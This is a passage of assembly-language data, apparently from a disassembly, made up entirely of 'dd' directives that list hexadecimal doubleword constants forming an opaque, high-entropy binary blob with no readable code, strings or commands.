0A932745Ch, 2379D0Dh, 0C3CC119Dh dd 0E225E0E0h, 77D42626h, 189016BBh, 1CD31AE6h, 3011D0Eh dd 7430155h, 0A7805A5h, 0E510868h, 28D10B19h, 0D2A1F1Dh dd 0E916A414h, 9102D13h, 491C611Eh, 4F18A61Ah, 0FF0B8A09h dd 140E130Dh, 0BF015400h, 0AA05B207h, 0A525B726h, 3119D21Bh dd 70AF2664h, 0EA747604h, 8F9D2162h, 6338123Ah, 1D3A5400h dd 391B053Ah, 0F0C9C294h, 1F050F7Bh, 22A00B0Bh, 26A44859h dd 0F529A958h, 0EC2D330Ah, 1631640Eh, 76D9B737h, 32C6F1B4h dd 0FE6EFC08h, 0B3EEE187h, 0A2F11FE9h, 0CD753101h, 1C69A8E4h dd 59D2103Ah, 663AE90Eh, 0A60B3B5Ah, 3BA11730h, 220D043Bh dd 384BC03Eh, 0AB481E15h, 0CCA03A67h, 5CE72725h, 335F6244h dd 11186E65h, 667101BEh, 6E3A1C95h, 3C7B2219h, 0E5B91DD5h dd 1DBE70BEh, 0A3BD4335h, 2F2E824h, 0E9922F49h, 4E575EADh dd 0A614FF31h, 3522BE56h, 3F7AB968h, 3DFF46C3h, 8B5C6651h dd 62A0A22Ah, 11AE05FDh, 4C28698Eh, 4F2D8DB9h, 0F3AD390Eh dd 0D092A007h, 180B39D6h, 9F507115h, 0D1343F3Fh, 1C1Eh dd 25392353h, 29590925h, 2EA82B34h, 2E305E12h, 447E3032h dd 39182736h, 3D4D6339h, 5E183F1Fh, 21F6F7Bh, 55572121h dd 284F0525h, 2C5AA82Ah, 413ADE09h, 343B1731h, 3846A836h dd 90383A1Fh, 3C3F4F1Ch, 9212B9EFh, 2180239Ch, 6EF7D210h dd 29AE2BA5h, 0A2A57C30h, 3331318Bh, 22C96464h, 3A38E5B4h dd 81E50E34h, 42944419h, 22220C3Bh, 0AC722503h, 10E3A237h dd 32582C3Dh, 2645F9ABh, 373764B9h, 3B6F3437h, 0FEBE324Eh dd 142C526Ah, 68231F1Fh, 576FB32Fh, 649820A6h, 5D414469h dd 54424E2Eh, 5D574B77h, 5E563357h, 78777C1Ah, 145E716Ch dd 132D2D51h, 6B23A258h, 784F00DDh, 0AC13CA23h, 0B02FAF99h dd 3472795Eh, 1E173710h, 185CCA38h, 0BA4D621h, 0DFF64E3Ch dd 27A32CE4h, 37256550h, 330E6D44h, 7FE01DA7h, 35A245D8h dd 59FE3216h, 77332939h, 0B4610D18h, 40E147DDh, 0FD281942h dd 29252B2Ch, 2A292727h, 0E7C3E2Bh, 82F6C132h, 0DE31341Ah dd 38493F23h, 11EDFFF4h, 1C20B817h, 27B0E1F6h, 3D062172h dd 0C1108404h, 162CCB0Dh, 57449BD5h, 0F46C22A2h, 0EDB3F52Dh dd 0D7E13CAh, 4E4D3A5Dh, 140E93F5h, 0A0CBA6ECh, 0EB1D3AF5h dd 2F4B2E5Ch, 99983DA7h, 789A802Dh, 3EB95FDDh, 5D3D7349h dd 6E34F532h, 13F1E68h, 642A24E4h, 26266076h, 590C82C9h dd 8F474949h, 0F3EF71D3h dd 151655D7h, 0FA184A1Dh, 503EDFF8h, 42DD6AC5h, 0E0A0213Eh dd 0E57622A2h, 0AB2F57CAh, 66232A49h, 1D61647Bh, 16358DD3h dd 0F119504Ah, 0C833A4DBh, 89D1FDFh, 20AB399Eh, 0DA24DBA1h dd 787E3C53h, 8EDC65C2h, 35526CAAh, 145C26CDh, 0B678F132h dd 3849FB02h, 1ED7679Fh, 0ECD35D02h, 25707335h, 8B463644h dd 0ADA2C512h, 3B5A078Dh, 8C6E6C6Eh, 2D3C7631h, 56333253h dd 4F35FC2Eh, 0BF742D38h, 0F4CA7330h, 132CA413h, 8B2323ACh dd 0AFDDC5BAh, 75BF616Dh, 93669F06h, 3197A832h, 39349929h dd 11351C3Bh, 22412775h, 6A2F062Fh, 4069E803h, 0A8C57D3Bh dd 26F43A0Dh, 660D3279h, 0FD7FC935h, 3EF118BFh, 0E99C188Fh dd 0E1720F5Ch, 0D361F21h, 0B34DDCAh, 6D2CDB38h, 77D12FDEh dd 56D35CAh, 0E9364A3Ch, 791CFB1Ah, 9C1F283Dh, 303B7294h dd 77E7CA72h, 2ACBD926h, 3AE47FB2h, 30202E22h, 0E42F3002h dd 67099634h, 18EB4E00h, 1B624A2Dh, 34FF013Ah, 717A0C10h dd 0B74D4Ch, 0BB1A7B99h, 3ABAD2A3h, 273C3210h, 671E3124h dd 6AFC0469h, 630F7B5Dh, 3EC8E34Bh, 2004701Bh, 1B2014B3h dd 28292D33h, 8E3F6E5Eh, 8330C0C7h, 0BD616227h, 74B25871h dd 6E6F607Bh, 6DD3906Eh, 41E5230Bh, 26E4A701h, 29F2CF76h dd 3D393B2Fh, 1944EFABh, 0FABF3462h, 63BA2C64h, 4C493D9Bh dd 454F3Eh, 613EF675h, 8ACB720Ch, 3C25878Dh, 0EC31B0C2h dd 8F588B21h, 3B333D76h, 38382535h, 0B2637F8Bh, 0F7BE7B87h dd 831F168Ch, 0A3754D30h, 4CCE192Ch, 0A03A2616h, 2F6C3EBDh dd 0F4763010h, 9B7611B0h, 0D33C3939h, 0C07F2CBAh, 0EFB109D7h dd 0DF23B10Fh, 96673562h, 9ACEFE51h, 9C3D2C2Dh, 58612E7Fh dd 737FDC2Ah, 0BB03C14h, 0F9FDB980h, 551C3DDFh, 0F12C6B1Ah dd 85753B26h, 59ABF100h, 493DCA73h, 353022A7h, 0F68A58F2h dd 39332979h, 35A32991h, 83DA37AEh, 288F7F15h, 0CE99CA34h dd 20B02EBAh, 2F5BDDA5h, 3F3D2B41h, 2037C10Ah, 6D6F023Ah dd 7FEB8336h, 1E3E2BD5h, 11EB13E3h, 1621D118h, 0D2F62BDFh dd 378AE226h, 0C72F23D3h, 1A6316AEh, 39C93BCBh, 83A437C9h dd 3BB433C6h, 3E6712E6h, 27497032h, 82E32ADDh, 0A72579B3h dd 0C644621Bh, 0FA221060h, 33646425h, 5A923453h, 22F9BF39h dd 0CD7DEED6h, 0C940520Ch, 34264304h, 3B991E2Fh, 0F6A92423h dd 387D365Eh, 2E2523ECh, 0BBE93E70h, 6EACDAD6h, 0CA3AA37h dd 0DF7B3A59h, 15CB2221h, 5CCF2E21h, 39972E60h, 63F26BFh dd 3004AA35h, 2DC712B9h, 0EF3E3E09h, 1F063631h, 4A31F515h dd 11CE2519h, 23103D20h, 0A12E197Bh, 3F0A7904h, 0F32A7E50h dd 3FBE7500h, 0CB0B1D6Ch, 7BB60108h, 5E2DF63Fh, 16F11027h dd 2350E4A6h, 2A3FB099h, 0C3B2028h, 3245BB41h, 22733452h dd 0CD3D76BAh, 0B73D6DE3h, 5BDB1779h, 21241F0Ah, 0D9D0C5CAh dd 0C9C071D9h, 2D292B25h, 20792C41h, 1170B87Fh, 0A6E7F32h dd 3A433BCCh, 4224BF86h, 281FDD1Fh, 1BB81DB5h, 0D8FD19E4h dd 0FC3B283Eh, 332F7622h, 35180222h, 8AF21B5h, 0CF70A92h dd 150F3EDBh, 5A2F312Dh, 12225811h, 168D14B6h, 2A0818ECh dd 1D777F4Ch, 19B03B0h, 0DF043583h, 4808CF0Ah, 73E9504h dd 27222538h, 65D321Dh, 0DE34E47Bh, 35EB8A5Bh, 0EF3D3DEAh dd 0F5B220CCh, 6A3D0CB1h, 2791C13h, 0FA916A5Eh, 0FE245B7Eh dd 28C9DE09h, 25EE1B62h, 0F8DFF825h, 0E21FE021h, 117C2C2Ah dd 713CB72Fh, 0CDBA1E14h, 27D50B3Ah, 1C1DDFFFh, 207A6A7Ch dd 41470F24h, 4F52442Dh, 2C4F1FC9h, 302F6E2Fh, 405C5A32h dd 385E5050h, 683E3A41h, 6F51774Eh, 1F6C7888h, 2D427426h dd 11A42324h, 44490738h, 1E098D41h, 77327000h, 30F0677h dd 3B7B7B01h, 7D7F0409h, 0BE29FFBh, 0A22BC03Bh, 0AD251F40h dd 0A1130C73h, 6E14086Fh, 32CED1AEh, 34156530h, 0D8B86C0Bh dd 5E183D1Bh, 1F7E493Fh, 0AC711F4Eh, 217C07B6h, 41202526h dd 1AAD17FEh, 0EAC03AD1h, 0F12673B3h, 1DBCBA2Eh, 7D3EFB72h dd 9C1BBB31h, 4B261D1Dh, 2474562Dh, 5C234D1Ch, 2468A77Bh dd 0E2C77E35h, 15C06031h, 38BC6077h, 0C900364Ah, 4D681349h dd 49A2F518h, 5DA93B21h, 0AE267334h, 45A32146h, 0AF6AC53Ch dd 65CDCDE9h, 0B4EEEFDCh, 0CD7964h, 6E2E5708h, 0C608E393h dd 0E6A2419Fh, 7F16062Fh, 0CAD52183h, 3F4E6B61h, 5839F05Eh dd 26D34C89h, 9B30383Eh, 0DE829C9Bh, 155E131Dh, 0F9D7173Fh dd 2D80E339h, 89F06DD1h, 378C5B12h, 38F081C6h, 0D41BE9DBh dd 2479A32Dh, 0FC32C81Dh, 3B581E5Ah, 3877F66Bh, 7F5744A2h dd 5459AD2Dh, 0D4201128h, 4E6BA77Eh, 0CB6CB24Dh, 1AD61220h dd 8D4B5824h, 65B23C3Ah, 1F3E52BDh, 25AB7177h, 2DD6F6DBh dd 7B2B4944h, 72EBF29h, 46693AA2h, 21DE633Ah, 3BBE399Ch dd 9B067F3Fh, 1D1D941Bh, 0AE21842Bh, 0E26242Bh, 2AB92883h dd 8A0C3428h, 3131A42Fh, 0AE359037h, 0C63A3037h, 0A23D9F79h dd 3CE8183Fh, 21801FBAh, 2580CF21h, 2AAC2782h, 852C8FCAh dd 95E42C2Eh, 3598E332h, 504F6476h, 6D54584Eh, 8C187C0Bh dd 421C3E99h, 504A4E48h, 2227B65Ch, 242B5C6Ch, 64CF577Eh dd 0F6A0F236h, 383A2635h, 6F697F3Dh, 183CEEBCh, 7C6D7358h dd 262F8141h, 824B6124h, 48426D2Dh, 2B6E2D5Ch, 434B4373h dd 52C6830Ah, 2045B10h, 15C7CD9h, 7324192Dh, 879B1E7Dh dd 781B4660h, 144A0382h, 30A8F7F0h, 0D7010E4Ch, 940B5705h dd 45A7FB2h, 54BC3B8Fh, 16198801h, 44BF217Dh, 1B474E0Dh dd 4A2F42B1h, 2609CB14h, 0E2E3114Dh, 0B50233B7h, 0B9267536h dd 3BD9C330h, 1DCEEF94h, 0C01F9BC5h, 0A1CB22A4h, 5DD78025h dd 6481AA23h, 866DFB34h, 2F9933E5h, 0BD1436B0h, 3CBE1139h dd 0B13FBB0Eh, 591E9827h, 0A66C21A5h, 27A37324h, 2BAF7782h dd 5E2EA84Ah, 470EB20Ch, 936BD0Ah, 5ED0784h, 2FDE0223h dd 7E1C1C24h, 2005B11Fh, 1272423h, 3019CE17h, 1F2D1D1Ah dd 7015Ah, 3669064Eh, 0B10A5304h, 0E70EFE08h, 2939283Fh dd 14132BF8h, 0D1123D6h, 491E6110h, 1A2C0A1Ch, 17B70633h dd 13B61557h, 6E1696DBh, 6C0CAD52h, 0D213EF2Dh, 0AE951D2Dh dd 0F6A84450h, 24150E0h, 0E8A83009h, 2A0A9D31h, 0CD3B10E2h dd 1D8526B6h, 7795D269h, 1DFC2CFDh, 6A18DF6Fh, 0D6079BB9h dd 672A750Fh, 3F8BEB3Eh, 4F15C5A8h, 998B6117h, 35701441h dd 4F39BB02h, 0BC23D610h, 6B1CB4E4h, 3E22C23Ah, 0A53E27CBh dd 8A246A20h, 0E9947A04h, 7C33715Dh, 5E7BB47Ah, 0C632FE0Fh dd 7F391ED8h, 317DB2Ah, 61C118DCh, 0C89D7307h, 49C9BB32h dd 867AC27Fh, 30732B4Fh, 0A0357492h, 6CB23671h, 7A433A7Dh dd 1D5C4B3Fh, 7E1E5974h, 772265B4h, 0E96F2762h, 8F080226h dd 295FD14Ch, 342C322Eh, 3828362Ah, 3C243A26h, 4C03E22h dd 1E021Ch, 3C223E20h, 38263A24h, 0ADC22E5Dh, 0C43E2ECCh dd 136AD935h, 13BABE37h, 383AB530h, 0BE6572D9h, 1EDD94DFh dd 2229E21Ch, 2991FB22h, 2A26D727h, 2E222C24h, 323E3020h dd 363A343Ch, 35263838h, 313D333Bh, 111C143Fh, 0AA77491Eh dd 979DDA0Ah, 2918153Ah, 791E6718h, 5502731Ch, 74C0132h dd 0BA405A2h, 910E3B9Eh, 0C029FF0Ch, 121FFA2Fh, 252310CDh dd 28143A16h, 1F07190Dh, 3731D6Dh, 0B8004231h, 0A404A206h dd 0F9F3A0Ah, 28EB0D85h dd 1B1E2EF4h, 37162D14h, 1734452Ch, 0C31EB5D8h, 4F39EEB6h dd 3753AC83h, 0B134DD65h, 0E9523808h, 573C3D6Ah, 7C18250Fh dd 2341401Eh, 0FCBCC71h, 7A215A55h, 0CE1927DBh, 50C5582Dh dd 66306404h, 3F395ADFh, 14D53EECh, 91E49F6h, 72701A2Ah dd 3F1B7C75h, 2173D0Eh, 232D14EBh, 4481EE22h, 116B340Eh dd 9935D76Ah, 0D27E7882h, 5E583EFBh, 2140934Eh, 25D9CA72h dd 0E3AC2784h, 0FDA0D2A2h, 70EFF01Eh, 548172B7h, 6387D736h dd 0B93B8B3Dh, 0A54E500Eh, 190F5C27h, 63A14585h, 0CBA52D27h dd 1B22E930h, 27A7F9A7h, 171E1554h, 65355F38h, 0FB6D1BD0h dd 0B3908436h, 71F51DBBh, 30A12EBDh, 636850E0h, 2F63EC22h dd 754F7C05h, 3D91334Fh, 1539B4F3h, 0DAF512BCh, 3DDB5C38h dd 491A7B6Eh, 0A0218DF6h, 6BE44B21h, 0A2292762h, 59C4E42Ah dd 0BBCFD287h, 35A433A1h, 0BAB26735h, 3EBC3BB5h, 0D9736F6Ch dd 6C9FFF81h, 36A3F227h, 0AB139A25h, 2C430EEDh, 312DEB29h dd 6532325Bh, 2AF65E55h, 38BA3A79h, 1BC03F3Dh, 8B9897DCh dd 10222220h, 0B4A8AFEDh, 23A32A28h, 0AF450968h, 7FBB3D89h dd 65596110h, 3B602539h, 963E526Ah, 1E1C1C60h, 7346C81Ch dd 4E1DDBDCh, 12291333h, 4BAC1D29h, 2123D82Ch, 0F6B08733h dd 0AE36153Fh, 35192C7Fh, 1B4C903Ch, 3040F74Eh, 27642B2Fh dd 0BC26A9AFh, 8824D42Eh, 42D87F1Fh, 0C3D43D52h, 79F82CEEh dd 3E332655h, 0F9650B81h, 14A0757Dh, 8BC262Eh, 4BF1E74h dd 40AAF98Dh, 8F6E02B5h, 24121EA7h, 9F1BA923h, 3C343C26h dd 0CB2FBBB8h, 1F1C1719h, 2922A923h, 0BF2C2491h, 0A82728E8h dd 232F6F0Bh, 0B3B735F0h, 32B68534h, 7B946B29h, 0D77436FAh dd 0CDE517DFh, 0E2D33014h, 891FF528h, 2A2D23E3h, 2C292C13h dd 5FBA2032h, 362E11B3h, 1C367936h, 313D333Bh, 121C143Fh dd 212F0C1Eh, 0A75F4BFEh, 7A544FFAh, 0A67A2B7Fh, 31A80B9Ah dd 0DC14B831h, 1366BA61h, 0F6B7259Ah, 3877B67Eh, 80E5F609h dd 2C23A838h, 0A84E58A8h, 2C5E09D0h, 34C47D2Eh, 642674BCh dd 0D0F8BD25h, 0D606DE39h, 0ED02CE00h, 5FE29F21h, 2D1C29AEh dd 0A8E6311Ah, 0D140928h, 1D100112h, 0D0A310Eh, 9720B0Ah dd 6B3A0772h, 63006B02h, 1E237E25h, 1C4F1E77h, 185F1A57h dd 0AC17A827h, 0BC13A015h, 0CA93011h, 8910AADh, 3B533B37h dd 1A6935AEh, 1F762397h, 1178CE5Fh, 27247324h, 20A843ACh dd 2A2EEB0Eh, 33B035C6h, 603CF279h, 3B28453Eh, 19FCAF52h dd 4DBB4D62h, 201BDA42h, 0A0825274h, 5C332E29h, 0C227BA22h dd 0C8A4E66Dh, 73136DAh, 0C7C87A70h, 18BFAF4Eh, 183FB61Dh dd 5EEEEB2Fh, 0AA32ECABh, 47CE0190h, 6657C12Bh, 63BD0C2Dh dd 0B7F46114h, 3727E910h, 0B4D23839h, 0B3B31A0Ch, 1E9D143Fh dd 0FA20001Ch, 22262477h, 2819BBCFh, 442C467Dh, 46B8602Dh dd 7FBC3837h, 39D8F936h, 0FC3D38B6h, 11384FB4h, 21A1DE35h dd 25DBDCC0h, 50EA0C24h, 9573B01Ah, 70F12F2Ch, 44360E24h dd 324D4176h, 3F74FA65h, 43A8363Ah, 223B1E22h, 20976124h dd 73CD925h, 0AC18794Eh, 0F31478F6h, 2DCC5228h, 5A2EC722h dd 6A385A38h, 3F735A59h, 3BEA6C58h, 533FC922h, 8267D627h dd 2224C179h, 347E2C0Dh, 0DB313033h, 84A12ECCh, 3A6C196Bh dd 3F3EC23Eh, 1F2DF8F3h, 65DAB3Fh, 31144C37h, 0CB2A3DD8h dd 0AB456AA3h, 3D0CDFEDh, 39353B33h, 3A36C737h, 3E323C34h dd 1D131B30h, 212F1F11h, 0D103232Dh, 0E8081362h, 894546BFh dd 13D9682Eh, 40349650h, 399860DFh, 348EF382h, 0DD092FFFh dd 25110ED2h, 0AC208709h, 8D3ACF17h, 3EC24A29h, 613BAC64h dd 6404B988h, 7814F1DDh, 40CB01A9h, 0F3818E26h, 1F2DCEBAh dd 2E5DD11Bh, 28AD26AFh, 0A2747608h, 166F3D64h, 32BD6F6Fh dd 58049A32h, 6DF618A3h, 2478E1D4h, 0D64C0F1Dh, 0A92A2ADFh dd 5EAE7A2Dh, 0CAA03876h, 262D4669h, 0D232303Fh, 3775EE33h dd 3A293135h, 393D3839h, 151C0B3Bh, 2E21DCAEh, 7242124h dd 393A2723h, 2FAE2F2Ah, 31303F28h, 35F6E33Eh, 3D38C737h dd 3E3CCB26h, 2E1B185Ah, 20C81C19h, 24253625h, 0A853083Fh dd 7C7A2929h, 0CF272C47h, 0AC310224h, 4D0570BCh, 30BF292Bh dd 1CFF3C85h, 4B1D1D0Dh, 2DA2FDCBh, 2382E420h, 0AA7AA1E8h dd 2F222CECh, 1F27CE34h, 61A20EF5h, 3F7EB90Ah, 596C6B5Ch dd 0C8D48FBh, 0E00935E0h, 8634502Bh, 361C3C27h, 218081Eh dd 705301Ah, 371010Fh, 6E390D7Bh, 5A08600Eh, 1D29770Ah dd 145C2A6Ah, 10A816A6h, 0B51DB326h, 81198F1Fh, 4842F1Bh dd 0F0068Eh, 0EDB802FAh, 0D909E70Fh, 893BD30Bh, 242AE21Dh dd 30152E17h, 3BB0262Ah, 7DA6A821h, 433BFFC5h, 9E36CD52h dd 0F3363617h, 8CB6A61h, 3A3EBCB6h, 4E4806A1h, 97D2E8C8h dd 0D71CE4B9h, 0A8D2B6Bh, 912B3B3Ch, 4EBD3DA0h, 38302A35h dd 6E278838h, 0AD6ED00Fh, 0FC15694Fh, 9C007D0Fh, 0DF296048h dd 2CEEB107h, 7B38778Fh, 360A362Eh, 3037FD35h, 0C522469Fh dd 8C3083E8h, 6E92EA32h, 5013601Ah, 4A4E2E96h, 824A55CFh dd 2DCE795Eh, 40721908h, 33F341D6h, 3637A89Ah, 0D142803Ah dd 4948333Eh, 0F8CF3396h, 0E6186201h, 5747CF59h, 7737EA1Bh dd 458CFDEEh, 8C37CF2Ch, 8261625h, 3D691C93h, 3FBB1A7Dh dd 1FDE1C04h, 746A7775h, 276E1350h, 7462245Ch, 72EE1E72h dd 22F6B064h, 36F6F636h, 533A4918h, 0EF2DB558h, 0BE86F4B5h dd 91212F1Fh, 2629242Ch, 6852E815h, 7D7C2DD6h, 23C02296h dd 0E664247Fh, 0C7C3447Eh, 2FB6C31Fh, 0FD4E1323h, 2162F7BEh dd 7BDBDEDAh, 292CE57Fh, 29232AB4h, 32C09F68h, 3DBE2B22h dd 0B12C3776h, 163F7B34h, 5A926D1Fh, 803B0C59h, 84224AAFh dd 8F8ECE25h, 0A9292A29h, 0BB365AEDh, 0EEB7363Ch, 0F9B40185h dd 1D1F5279h, 0E46E00ECh, 1E1E9D09h, 2F1AE5A3h, 2417E1A5h dd 2E372F5Dh, 0B2A69A7h, 3831C134h, 0B22E7DBFh, 3F4FF038h dd 0FC7AFDBFh, 7E589D0Bh, 0CA727607h, 1737C407h, 0EE39AB53h dd 2EEC1723h, 3747243Eh, 66066A17h, 3A6E6D73h, 0AFC6B73Eh dd 3970265Fh, 0AA259D0Ah, 2D2264DCh, 68649F98h, 0D0A7EA11h dd 217CAFA3h, 2939BA20h, 1910167Bh, 30B53A72h, 9602FE16h dd 7106DF05h, 0A73461h, 2828A741h, 0ECAE3AEDh, 0B4A57C58h dd 349B1631h, 4CF7B236h, 26BBD71Bh, 0DF3AFE6Dh, 1C9E4F3Ch dd 2C6230A1h, 24268924h, 0C0787878h, 212E1631h, 30BE3932h dd 0B72FF11Dh, 9B6B1586h, 38BE3FB5h, 49A21B1Bh, 630A2009h dd 20A1E457h, 6AEA5B26h, 0AF7D2805h, 6361346Eh, 0C9C826DBh dd 36371AB7h, 21B24AF1h, 7718103Fh, 71A81E1Eh, 98A437CAh dd 0F8EB2FE2h, 7B7F032Dh, 0C4F62E79h, 0B0048DB2h, 0BD37C126h dd 3D7FA3A8h, 7C3E1E1Fh, 0C5E6761Ch, 26A3FB70h, 28A7AE20h dd 0CDB80F08h, 0C60A0E2Dh, 1433D3AFh, 38D69F10h, 3CDA6B58h dd 0DE891B1Dh, 3A3E1DFDh, 322C0F3h, 27C7C401h, 0C40F0945h dd 0A0E2DCDh, 1332D0CDh, 0A4EC3E11h, 393A8DE6h, 737C5A5Ch dd 0CD247A30h, 2D61009Fh, 0D9DBBBA7h, 7A0C4DD8h, 2F08ACC4h dd 3009B50Eh, 32344A37h, 311D0F93h, 351B50D5h, 163F5F8Ch dd 422B3D5Bh, 272F112Dh, 142C2602h, 2C2EF3FAh, 0CE35F744h dd 0B42391E5h, 513937F3h, 0C26D3718h, 0FF7E2FE9h, 29203911h dd 2D182B1Eh, 9C2612A0h dd 4C3CD21Ch, 612CEF20h, 30A21A34h, 59E1C965h, 0FCBE78C9h dd 3DEC0649h, 1F5E1DEFh, 1BA20B54h, 0AD2F5004h, 6B2B6128h dd 5B0ED4ACh, 2B5A55C7h, 0F4E0265h, 3AAA3A38h, 3FA63C3Ch dd 0E62DDF18h, 1110A32Fh, 0F5175A11h, 181A3E15h, 0AE1E7518h dd 0C502AD1Ch, 2706CB00h, 440D0F03h, 0DF09EA0Fh, 5229580Bh dd 5A15772Bh, 0C6119817h, 711E3A13h, 0CE1BF01Ch, 2F082019h dd 0BFCBCE32h, 3A38AFB8h, 0AAAA3BB0h, 4D4B3C3Eh, 0E59F764Fh dd 2523C3BDh, 642755CDh, 8EFA929h, 80B62A6h, 696D326Eh dd 35BE526Eh, 0BF9B3E39h, 8BFC0AF9h, 83D21D1Dh, 0DC482120h dd 649AF54Ch, 4F2A2828h, 7F2A2D8Dh, 32F30A70h, 58BA3A20h dd 80639A9h, 245D62EEh, 57D4240h, 39B87DA1h, 263A19DCh dd 0A009283Dh, 28A70703h, 52A7907Eh, 0BDDD3000h, 0C5B1C587h dd 653CE053h, 7D0D55B2h, 21349F34h, 2922E426h, 658986C7h dd 8C938DE0h, 61B6C779h, 0BE24641Dh, 59F0DFEEh, 25B56C3Bh dd 0FDDBD7BAh, 0C848261Ch, 8235399h, 9675772Dh, 2C03D1D9h dd 17A7F8h, 0A3DB6563h, 3B85C524h, 2C3A1FD1h, 1371B50Ah dd 51975C4Bh, 372EF035h, 76032C14h, 2B9F06BFh, 90C6052Ch dd 0C7FF31C2h, 0DF1F1D34h, 0C03ACB97h, 0D7143DC8h, 1EEF8309h dd 22D22C36h, 63AACC08h, 0DE7E28D5h, 51C5002Bh, 63B430DDh dd 0DE1834C7h, 8939CA58h, 2A133CCFh, 1DEE44D7h, 0E20EBFFh dd 0D7AD6CCAh, 0DA252826h, 7EEC8AA2h, 0E66402A5h, 855C7672h dd 0C6B83772h, 1988B0EFh, 1F3B3FB6h, 29F7D096h, 0DCA86E21h dd 0D7EEA525h, 82D9EA1Ah, 79FE06DAh, 0C1320260h, 0A4BC1795h dd 6C393B14h, 7A9F7C0Fh, 531F3CFEh, 73023504h, 57466234h dd 0CB44286Ah, 9FEF2C6Eh, 0F1E939F0h, 5337773Ch, 33E7B6Dh dd 7D5E3C7Eh, 1F5F401Ah, 23637547h, 76246677h, 68652965h dd 6C78642Ah, 3373742Eh, 0A347673h, 6F3D3975h, 7C093D79h dd 1C5E2B3Eh, 9215D32h, 1256177h, 0D645AA7h, 412E6BFCh dd 35A04528h, 354BFF32h, 0B338373Ch, 1381F7Eh, 1C1C4B1Eh dd 236B1721h, 94E0E213h, 7CA127B3h, 0ACA07DBAh, 31B3463Ah dd 57F337A0h, 30557485h, 314FFABCh, 0AF3C7E00h, 0F9E78DFh dd 33343320h, 0A62EAADDh, 1A2F9920h, 6F472E24h, 4B0E280Fh dd 37F43933h, 0BDC5302Ch, 0FE34FF07h, 0F61C1C1Bh, 0CE21F0EDh dd 2574EAA8h, 0CBCA6955h, 2246C2Bh, 32345726h, 3F9B3CFCh dd 33968878h, 77F52E0Ah, 0C526B7Eh, 1C520D2Ah, 23206148h dd 0FDC02305h, 4723A8C2h, 34832E2Eh, 0BDFCB863h, 891CF7AAh dd 0D4383Ah, 5C1B33FEh, 8C161E1Ch, 0CC252121h, 2B40D428h dd 0EC2C6A20h, 0B03AC63Ah, 3029B126h, 1CBBBB65h, 3D3F7AB1h dd 1B6B303Ch, 0D1954538h, 0A3B15323h, 6A309824h, 0A90D756Ah dd 91242F7Ch, 0BA335048h, 3CB4A1A2h, 0B9257FFAh, 0DE088723h dd 41A88819h, 23F51A9Eh, 66CCCF21h, 14AFBC26h, 6E925369h dd 0B2A72C2Eh, 0ACD29033h, 0B4AB38B7h, 1F2C795Ah, 7C64893Ch dd 0AA2F1F38h, 0AC947531h, 29BDCF36h, 39352A3Bh, 31393E2Fh dd 34B1DB0Fh, 0B06E3C14h, 4FD43B32h, 9FE4C1FDh, 0AB5F02D9h dd 46CB72EEh, 0E735A79Ch, 0AD12C22Dh, 0BB27690Ah, 2C3B1665h dd 3BB7BF7Dh, 632F1E7Dh, 0BB660BDh, 0DFF4723Dh, 3219C19h dd 0AE92ED57h, 262EEA84h, 274825E8h, 0B13A596Ch, 633E5D06h dd 696F251Ch, 97E8357Ch, 0F1B145Bh, 0EE30201Bh, 2E0C7DC2h dd 2201600Dh, 0A5306CDAh, 0F70A326Ch, 963C473Fh, 0D1387939h dd 0E6C5BF2Bh, 0FC053E1Ch, 6053F1Eh, 423C3h, 29C91290h dd 0CC6F0E0Ah, 60150F2Eh, 570133D2h, 0FE180F63h, 0BDA6FEC0h dd 0B7A03A3Ch, 323F1A3Ch, 0F522A3E7h, 0A9FB26A4h, 0ADCC0029h dd 30AEDC2Dh, 3C33B3CCh, 38B79BA1h, 0BD3BBA2Ah, 213ABFE2h dd 0CA435F35h, 432600EDh, 0C48D5446h, 3D23C80Dh, 3E1F302Eh dd 0CCBE3191h, 0A8209791h, 70F83999h, 0BFB8495Dh, 0F35B81Bh dd 0B1E2273Eh, 0E41B2682h, 0B310BC52h, 0AEA069A9h, 33AF7F2Ch dd 77EF6631h, 7B1E3D36h, 33BEE4B0h, 1D1CE43Dh, 0C7BEF71Eh dd 0DE1FDCDFh, 6AA4AF29h, 38A6AB2Ch, 143059B1h, 5D6664E2h dd 1751320Eh, 542C6F3Bh, 371BB51Ch, 0A003DA9Eh, 8121AB73h dd 0AA4374A4h, 282A2A7Bh, 632D3D7Eh, 645A4779h, 0C99BACB5h dd 3C343A36h, 7BFE3E39h, 0E237500Eh, 3EED78DFh, 86A22527h dd 7D7BF9BCh, 0EFCAC57Ch, 42C36A3Ah, 0B61F1145h, 3D7F3B78h dd 7F373D6Ch, 4F195290h, 2EB0F0E0h, 0C42DD675h, 7A797A25h dd 3015FF51h, 3F3C3F61h, 0D73D731Ch, 0C3BA3EF6h, 4A774B7Bh dd 3D4897FFh, 0A9DB941Dh, 0AE0C7C20h, 1148471Bh, 458BEA78h dd 52F17EEEh, 55E3CC62h, 7E985317h, 576AFB22h, 66F36E0Dh dd 4A5FAF1Fh, 6AA93221h, 0D1A77961h, 6C75AC1Bh, 704A4E8Bh dd 94BE61F2h, 0F8043A11h, 739183Bh, 9FB2F03Eh, 1F0239A8h dd 15227019h, 650205A4h, 6BA72F2Dh, 7E09AD31h, 3334F762h dd 32F6343Eh, 1B2E396Eh, 3F4AEFB9h, 0E15E916Fh, 4F55E09Ah dd 0D95EA92Bh, 0D0A239E0h, 6E6EDDA0h, 933F22Ch, 323634D2h dd 3A49C7B4h, 153E3CE3h, 9813C7E0h, 6055746Eh, 54FC25D2h dd 8515252Eh, 52CE3C2h, 4028288Eh, 0B8056334h, 19386370h dd 0D53F395Bh, 97599F62h, 843B8A45h, 33241h, 0AC38745Dh dd 0CBB0E3Dh, 0E44EF23Bh, 7F3E5274h, 0BBC9631h, 9CFD21D2h dd 1C0FBC3Dh, 17E6DC1Ch, 0A92364A8h, 0AF22356Fh, 2A882B65h dd 422D50A1h, 0C19732C3h, 3424C537h, 28BA340Ch, 3C2E3E28h dd 0DF1E1B6Bh, 61A80B96h, 836520D1h, 2D992997h, 2E223DF4h dd 0C33D52C3h, 7233D2E2h, 3CD83837h, 6E2D549Fh, 0FDB7E83Bh dd 24C1771Fh, 0BFCC473Ah, 29A82E06h, 6E9C376h, 2DB02DEEh dd 692CD352h, 0D1643134h, 5E6CCE8Ch, 3CE23FBCh, 631B9A04h dd 0A6AE2221h, 2ED6F621h, 0C40B2EBBh, 0AFC2B0B5h, 0D333D39h dd 0D058A527h, 5F229A76h, 19382F72h, 5CE11C97h, 743FAE33h dd 0D64DB705h, 0EA31C17Fh, 1F3B6A2Bh, 2674B86Fh, 17A96A5Dh dd 0AD30D1C9h, 0AFC83BDCh, 17691D3Bh, 